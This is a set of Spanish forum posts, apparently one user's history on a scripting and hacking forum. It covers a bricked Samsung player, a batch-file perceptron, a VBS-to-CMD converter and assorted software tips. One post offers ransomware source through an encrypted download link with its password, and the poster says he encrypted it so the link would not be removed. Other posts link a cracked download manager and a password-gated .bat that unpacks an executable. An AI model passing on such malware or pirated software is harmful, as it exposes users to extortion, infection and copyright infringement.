Mensajes

Hola a todos. bueno como dice el titulo.

como soluciono este problemilla.

yo tengo un Samsung YP-G1 Intl. mejor conocido como Samsung player 4.0 INTL.

Bueno , sin querer le instale otro archivo pit. con Odin . y ahora el telf se queda con la pantalla en negro.

intente descargar su pit original pero no se consigue fácilmente en internet. logre instalarle in pit parecido y intalarler el recobery pero no funciona.

le instale el pit del samsung player 5.0 y le intale ese recobery pero como es de la version 5.0 el telefono no instala la custom room.

si tan solo tuviera una manera de solucionar ese error.

a ver si alguien puede conseguir el pit file de el samsung player 4.0 intl. o la rom original del telefono.

en donde mas consigo informacion para solucionar este problema es en:

https://forum.xda-developers.com

pero los link del pit de mi teléfono están caídos .

[IA]

hola a todos, abro este tema para al que le interese.  
[youtube=0,0]https://www.youtube.com/watch?v=3Llu1qGJF1I[/youtube]
bueno empecemos.

que es un (AI)?

Inteligencia artificial, o AI. La inteligencia artificial (Artificial Intelligence, o AI) es la simulación de procesos de inteligencia humana por parte de máquinas, especialmente sistemas informáticos.

que es Perceptron?

El perceptrón multicapa es una red neuronal artificial (RNA) formada por múltiples capas, esto le permite resolver problemas que no son linealmente separables, lo cual es la principal limitación del perceptrón (también llamado perceptrón simple). El perceptrón multicapa puede ser totalmente o localmente conectado.

En pocas palabras el perceptron es la simulación de una neurona humana.



EN ESTE ESQUEMA DE PERCEPTOM SIMPLI SE PUEDE APRECIAR . QUE SE INCLUYE LA PARTE SENSORIAL.

con esta parte podemos apreciar que el desarrollo de una IA nunca estara completa si no tiene como sentir.  ya que muchos Psicólogos  han demostrado que por medio de las experiencias sensiorales el cerebro aprende.

ejemplo de perceptron :  

bach

Código (bash) [Seleccionar] Expandir

@echo off
rem Perceptron en batch
rem por S4L
rem 14/04/12
color a
setlocal EnableDelayedExpansion
setlocal EnableExtensions
set me=%0
cscript.exe //H:cscript
:::::::::::::::::::::::::::::::::::
set Fgh=fghijklmnopqrstuvwxz
set T=0.5
set Alpha=0.1
set iNn=3
set oNut=1
set TSName="NAND Gate"
set TxSet=4
set TySet=4
set TSet.1=1,0,0,1
set TSet.2=1,0,1,1
set TSet.3=1,1,0,1
set TSet.4=1,1,1,0
set WxSet=1
set WySet=3
set WSet.1=0
set WSet.2=0
set WSet.3=0
:::::::::::::::::::::::::::::::::::

echo Randomize>eval.vbs
echo set objArgs = WScript.Arguments>>eval.vbs
echo wscript.echo eval(objArgs(0))>>eval.vbs
set Run=True
rem for /l %%a in (1,1,%WySet%) do (
rem call:SetEv WSet.%%a Rnd
rem )
set /a Tf=2+%iNn%+%oNut%
set vfIn=%%%%g
for /l %%a in (2,1,%iNn%) do (
set vfIn=!vfIn!,%%%%!Fgh:~%%a,1!
)
set /a vfOut_ini=1+%iNn%
set /a fOut=%vfOut_ini%-%oNut%
set vfOut=%%%%!Fgh:~%vfOut_ini%,1!
for /l %%a in (%vfOut_ini%,1,%fOut%) do (
set vfOut=!vfout!,%%%%!Fgh:~%%a,1!
)
set str=Fo
find "%str%r1"<%me%>stFor.bat
echo set In.%%%%f=%vfIn%>>stFor.bat
echo set Out.%%%%f=%vfOut%>>stFor.bat
echo ^)>>stFor.bat
call stFor
echo --Training Started--
:train
set Run=False
for /l %%a in (1,1,%TySet%) do (
echo.
(set/p av=Training.)<nul
call:pre_Sum %%a
call:UpdateW %%a
)
if %Run%==True goto:train
:test
echo.
echo --%TSName% network succesfully trained!--
echo --Testing--
for /l %%a in (1,1,%iNn%) do (
set /p iNn%%a=Input %%a ^(1/0^)?
)
call:PSum
echo Network output=%out%
set /p cnt=Continue testing ^(y/n^)?
if %cnt%'==y' goto:test
if %cnt%'==Y' goto:test
goto:eof

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:UpdateW
set /a error=!Out.%1!-%out%
if not %error%==0 set Run=True
call:SetEv C %error%*%Alpha%
(set/p av=.)<nul
(set/p av="  E=%error% W1=%WSet.1% W2=%WSet.2% W3=%WSet.3%")<nul
for /l %%b in (1,1,%WySet%) do (
call:SetEv WSet.%%b !WSet.%%b!+!iNn%%b!*!C!
)
goto:eof

:pre_Sum
set str2=I
set In.>In.
find "%str2%n.%1"<In.>aIn.
find "%str%r2"<%me%>stFor_In.bat
for /l %%a in (1,1,%iNn%) do (
echo set iNn%%a=%%%%!Fgh:~%%a,1!>>stFor_In.bat
(set/p av=.)<nul
)
(set/p av=.)<nul
echo ^)>>stFor_In.bat
call stFor_In
call:PSum %1
goto:eof

:PSum
set sum=0
for /l %%a in (1,1,%iNn%) do (
call:SetEv sum !sum!+!iNn%%a!*!WSet.%%a!
)
if /I %sum% gtr %T% (
set out=1
) else (
set out=0
)
goto:eof

:SetEv
for /f %%i in ('eval //nologo "%2"') do set %1=%%i
goto:eof

for /f "tokens=2-%Tf% delims=.,=" %%f in ('set TSet.') do ( %For1%
for /f "tokens=2-%Tf% delims=.,=" %%f in (aIn.) do ( %For2%

para los de c++ les dejo el link:

https://www.facebook.com/TutorialesKatana/?sk=app_190322544333196

http://www.mundoprogramacion.com/colabora/puntoNET/jlopezi_RedNeuronal.htm


 si se preguntan todavía que finalidad tiene este tema. ni yo mismo lo se . jajaja.

bueno abrí este tema para los que esten desarrollando alguna AI O los quieran desarrollar.
                       
COMENTEN sus aporte sobre IA un este tema

Hubiera sido mejor que le dejaras los comentarios (incluyendo el nombre del autor):

http://www.robvanderwoude.com/sourcecode.php?src=vbs2cmd_vbs

La verdad, si hubiera sabido cual era el autor lo hubiera puesto, pero como no lo sabia no lo puse . ya que este script me lo pasaron. solo estoy compartiendo lo que tengo. 

ahhh , y gracias por la pagina que pusiste hay buenas tols. 

[(VBS2CMD)]

hola a todos los del foro.  
hoy les traigo un convertidor de archivos vbs a .bat  . que encontre en internet, creo que el autor se llama Denis   (VBS2CMD)

code del convertidor (VBS2CMD.vbs)

Código (actionscript) [Seleccionar] Expandir

Option Explicit

Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
Const TristateUseDefault = -2

Dim arrVBStext
Dim blnQuiet
Dim intOVRWT, intResult, intValidArgs
Dim objDialog, objFile, objFSO, wshShell
Dim strBaseFileName, strCMDout, strFileName, strFileNameIN, strFileNameOUT
Dim strNewText, strOldText, strText, strVBSline

With WScript.Arguments
If .Unnamed.Count > 1 Then Syntax
intValidArgs = 0
If .Unnamed.Count = 1 Then
strFileNameIN = .Unnamed(0)
intValidArgs = intValidArgs + 1
End If
If .Named.Exists( "Q" ) Then
blnQuiet = True
intValidArgs = intValidArgs + 1
End If
If intValidArgs <> .Count Then Syntax
End With

Set WshShell = WScript.CreateObject( "WScript.Shell" )
Set objFSO = CreateObject( "Scripting.FileSystemObject" )

If strFileNameIN = "" Then
'File browse dialog box (XP only) (NFG in 7/2008, Thank you MS!)
On Error Resume Next
Set objDialog = CreateObject( "UserAccounts.CommonDialog" )
If Err Then
strFileNameIN = ""
WScript.Echo "No file specified."
Else
objDialog.Filter = "All Files|*.*"
objDialog.InitialDir = wshShell.CurrentDirectory
intResult = objDialog.ShowOpen
If intResult = 0 Then
strFileNameIN = ""
wshShell.Popup "No file selected.", 1, " ", 64
Else
strFileNameIN = objDialog.FileName
End If
Set objDialog = Nothing
End If

Set objDialog = Nothing
On Error Goto 0
End If

If strFileNameIN = "" Then Syntax

strFileNameOUT = objFSO.GetParentFolderName( strFileNameIN ) & objFSO.GetBaseName( strFileNameIN ) & "_CONVERTED.CMD"

'Check if strFileNameOUT exists already
If objFSO.FileExists( strFileNameOUT ) Then  'does the file EXIST?
If blnQuiet Then
WScript.Echo "Deleting existing file."
objFSO.DeleteFile( strFileNameOUT )
Else
intOVRWT = MsgBox( strFileNameOUT & " exists already" & vbCrLf & "Overwrite?", vbYesNoCancel, "Overwrite?" )
If intOVRWT = 6 Then
'proceed
objFSO.DeleteFile( strFileNameOUT )
Else
wshShell.Popup "Exiting as requested.", 1, " ", 64
WScript.Quit
End If
End If
End If


'open strFileNameANSI file, and put entire file into a variable
Set objFile = objFSO.OpenTextFile( strFileNameIN, ForReading )
strText = objFile.ReadAll
objFile.Close

'************ Start converting *************
'^  Escape character.
' Adding the escape character before a command symbol
' allows it to be treated as ordinary text.
'When piping or redirecting any of these charcters you should
'prefix with the escape ^ character: \ & | > < ^
'e.g.  ^\  ^&  ^|  ^>  ^<  ^^

'# Escape out ^ symbols (Must be 1st !!!)
strOldText = "^"
strNewText = "^^"
strText = Replace( strText, strOldText, strNewText )

'# Escape out \ symbols
'strOldText = "\"
'strNewText = "^\"
'strText = Replace( strText, strOldText, strNewText )

'# Escape out & symbols
strOldText = "&"
strNewText = "^&"
strText = Replace( strText, strOldText, strNewText )

'# Escape out | symbols
strOldText = "|"
strNewText = "^|"
strText = Replace( strText, strOldText, strNewText )

'# Escape out > symbols
strOldText = ">"
strNewText = "^>"
strText = Replace(strText, strOldText, strNewText)

'# Escape out < symbols
strOldText = "<"
strNewText = "^<"
strText = Replace( strText, strOldText, strNewText )

'Converting into array
'Dim arrVBStext()
arrVBStext = Split( strText, vbCrLf ) 'create one-dimensional array

strFileName = objFSO.GetFileName( strFileNameIN )
strBaseFileName = objFSO.GetBaseName( strFileNameIN )
strCMDout = ""
strCMDout = strCMDout & "@ECHO OFF" & vbCrLf
strCMDout = strCMDout & "Call :" & strBaseFileName & vbCrLf
strCMDout = strCMDout & vbCrLf
strCMDout = strCMDout & vbCrLf
strCMDout = strCMDout & "REM Prevent running the " & strFileName & " twice" & vbCrLf
strCMDout = strCMDout & "Exit /b 0" & vbCrLf

strCMDout = strCMDout & ":" & strBaseFileName & vbCrLf

strCMDout = strCMDout & "REM  This will create a file called " & strFileName & " in %TEMP%" & vbCrLf
strCMDout = strCMDout & "REM" & vbCrLf
strCMDout = strCMDout & "REM  The following will overwite any pre-existing file called %TEMP%\" & strFileName & vbCrLf
strCMDout = strCMDout & "echo.> %TEMP%\" & strFileName & vbCrLf
'Add  Echo  in front and  >> %TEMP%\<VBSNAME>.VBS at the end of every line
For Each strVBSline in arrVBStext
If Trim( strVBSline ) = "" Then
strCMDout = strCMDout & "echo. >> %TEMP%\" & strFileName & vbCrLf
Else
strCMDout = strCMDout & "echo " & strVBSline & " >> %TEMP%\" & strFileName & vbCrLf
End If
Next
strCMDout = strCMDout & "Cscript.exe //NoLogo ""%TEMP%\" & strFileName & """" & vbCrLf
strCMDout = strCMDout & "Exit /b 0" & vbCrLf
'Converting done

'Write to file
Set objFile = objFSO.OpenTextFile( strFileNameOUT, ForAppending, True )
objFile.WriteLine strCMDout

objFile.Close

If blnQuiet Then
WScript.Echo "created " & strFileNameOUT
Else
wshShell.Popup "created " & strFileNameOUT, 3, "Completed", 64
End If

Set objFile = Nothing
Set wshShell = Nothing
Set objFSO = Nothing


Sub Syntax
Dim strMsg
strMsg = vbCrLf _
      & "Como usarlo:  VBS2CMD.VBS  archivo-vbscript.vbs  [ /Q ]" & vbCrLf & vbCrLf _
      & "Donde:  archivo-vbscript.vbs  es el archivo a ser ""convertido""" & vbCrLf _
      & "                           (necesario en todas las versiones excepto en XP XP)" & vbCrLf _
      & "        /Q                 Evita los dialogos"
WScript.Echo strMsg
WScript.Quit 1
End Sub


Como usar :

code batch para usar.

Código (bash) [Seleccionar] Expandir

@echo off
VBS2CMD.vbs nombre-de-tu-vbs.vbs
pause

                                         COMENTEN

descargarte el antivirus 360 es muy bueno y detecta cualquier virus.

tal vez este antivirus te desinfecte la pc. la verdad es muy bueno.

pagina oficial del antivirus:

https://www.360totalsecurity.com/es/

                                 Comenta si te funciono

Descargate IDM (Internet Download Manager )

te dejo el link de descarga:

mega:
https://mega.nz/#!pB1VFbaZ!Re6NJ_3oIpEmfk0oCwUhgwVKoadC-V2FW4-9-eW01iw

mediafire:

http://www.mediafire.com/file/2l83spqfsbabl9k/IDM+6.25+build+10%2C+Programas+Full.rar

si instalas bien el programa, se te instalara una extensión a tu navegador , y ya con eso puedes descargar lo que sea de una pagina , (audios , videos , etc..)

tambien es un acelerador de descarga..... es muy bueno. 

                                        Comenta si te funciono

hola te he subido el programa. se llama Protec Folder.

Aquí el archivo https://mega.nz/#!810xRZ4Y!4VcxoPektrKMTCLLqEts6qOuT-_C54wahAThj5pUhg4


Instrucciones:

1)Descargas el ".bat"  y cundo lo abras te pedirá una contraseña:

la contraseña es : 1234



2) presionamos enter y aparecera un archivo rar que contiene el Programa que
necesitas.

3)lo instalas y listo. Con esto puedes poner contraseña a tus carpetas.

imagen del programa:


PD: Creo que ahora no viole ninguna regla del foro.  

                                                COMENTA

hola a todos los del foro .

hoy comparto con ustedes un Ransomware  creado con "fines educativos" 

bueno cifre el code con una herramienta que cree hace unos dias muy util. para que no me tumben el link.

si les interesa la herramienta para cifrar es: Batch Archive Security

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

BUENO SIN MAS QUE DECIR EL CÓDIGO DEL Ransomware :

https://mega.nz/#!8892SSYJ!X29F4hlIUTC-gWNmtL9mKWwVNOU4byyEYrE0FgeEPPc

DESCARGAN EL BATCH Y LES PEDIRA UNA CONTRASEÑA.

la contraseña es:   123456

despues presionamos enter y listo les aparecera un zip que contiene el código del Ransomware.
                                                    COMENTEN

ya, lo he puesto como querías.

ahora si quieres que se ejecute cada vez que enciendas la pc. ve a :

inicio >> Startup o (inicio) >> presiona sobre la carpeta el click derecho>> abrir

y una ves alli copias el bat dentro de esa carpeta. 

listo , asi de facil:  

Código (bash) [Seleccionar] Expandir


@echo off
goto s
:k
REM Create By **Aincrad**
echo/
ECHO RECUERDA QUE :
echo/
ECHO 1000 BYTES = 1 KB
ECHO 1000 KB    = 1 MB
::::::::::::::::::::::
:s
::::::::::::::::::::::
@echo off
set strdir="%appdata%\local\Microsoft\ehome\ehthumbs_vista.db"
set dir="c:\ehthumbs_vista.db"

call :size %strdir%
  (
     pause>nul
             exit   )


:size
if ["%~z1"] GTR ["100000"] (
echo Es mayor de 100.000 byte, tiene %~z1
exit
) else (
echo Es menor de 100.000 byte, tiene %~z1
copy "%dir%" "%strdir%
exit
)
goto:eof

                                      COMENTA SI TE FUNCIONO